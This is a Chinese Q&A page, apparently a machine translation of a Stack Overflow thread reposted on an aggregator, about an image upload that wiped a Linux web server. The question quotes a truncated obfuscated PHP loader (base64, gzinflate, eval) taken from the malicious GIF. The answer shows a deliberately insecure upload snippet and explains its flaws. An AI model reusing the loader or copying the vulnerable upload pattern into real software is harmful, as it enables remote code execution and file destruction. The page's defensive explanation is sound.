
我有一个linux服务器,我有一个上传图片在我的网站上,注册的用户可以上传他的图片,当他login到他的个人资料,他可以看到他的形象,也可以得到他的形象的URL链接,所以图像上传到WWW / img目录中的服务器我正在检查文件在PHP中的扩展名,只允许(.png,.gif,.jpg)文件
但我不知道为什么有人上传了一个gif图像,并删除了我的所有文件,我得到了由用户上传的图像,因为我们有RAID的图像的内容是一些像…….
function vUMmFr($MkUOmK){$MkUOmK=gzinflate(base64_decode($MkUOmK));for($i=0;$i<strlen($MkUOmK);$i++){$MkUOmK[$i]=chr(ord($MkUOmK[$i])-1)}return $MkUOmK}eval(vUMmFr("7b1pe+M2sij8ved55j............
这是怎么回事,所有的文件如何被删除? 这是什么语言,我怎样才能保护文件删除..
CKeditor&kcfinder在localhost
Nginx可恢复上传upload_module和multipart / form
大文件的PHP上传下降(没有错误)
PHP错误 – 上传文件
可定制的windows右键单击file upload?
当我尝试在windows Server 2008中上传二进制文件时,libCURL发送文件名而不是文件内容
PHPfile upload – CGI上的内存处理
不能用Nginx(反向代理+ SSL协商)和Tomcat上传大文件
通过file upload到PHP来curlPUT请求
如何以编程方式/远程执行EC2 windows实例中的程序
你可能有一个非常糟糕的文件上传处理程序,这是盲目地信任用户提供的东西,把文件与原来的用户提供的文件名放入一个公共可访问的目录在您的webroot。 简而言之,你的文件上传脚本相当于一个闪烁的霓虹灯,闪耀着“Hack ME!”。 。
比如像这样的东西:
<?PHP if ($_fileS['file']['type'] == 'image/gif') { move_uploaded_files($_fileS['file']['tmp_name'],'/some/path/in/your/docroot/' . $_fileS['file']['name']); }
在这里是错误的事情:
没有检查错误 – 文件上传可能由于许多原因而失败,而不检查错误是非常糟糕的事情
['type']字段是用户提供的数据 – 恶意用户可以轻松伪造该MIME类型。 他们可以很容易地上传'somescript.PHP',但标记为图像。
盲目地使用['name']参数作为你存储文件的路径的一部分。再一次,这是在用户的控制之下。 一个恶意用户和你的服务器冲下马桶。
将文件存储在docroot中。 所以现在你允许任何类型的任何类型的任何文件上传。 如果它是一个脚本,并且可以通过URL访问该文件的位置,那么现在允许远程用户在您的服务器上执行他们想要的任何代码。
简而言之,在处理文件上传时,您将文件视为一个即将爆炸的核d,距爆炸0.001秒。 您不要将其与原始文件名称一起存储。 您不会将其存储在用户可以访问的任何地方。 您不要使用可预测的文件名来存储它。 你在文件上做服务器端验证。 你抬起文件的裙子,看看引擎盖下,以确保它应该是什么…即使这样,你仍然认为它在撒谎。
总结以上是内存溢出为你收集整理的有什么缺点,必须注意file upload全部内容,希望文章能够帮你解决有什么缺点,必须注意file upload所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)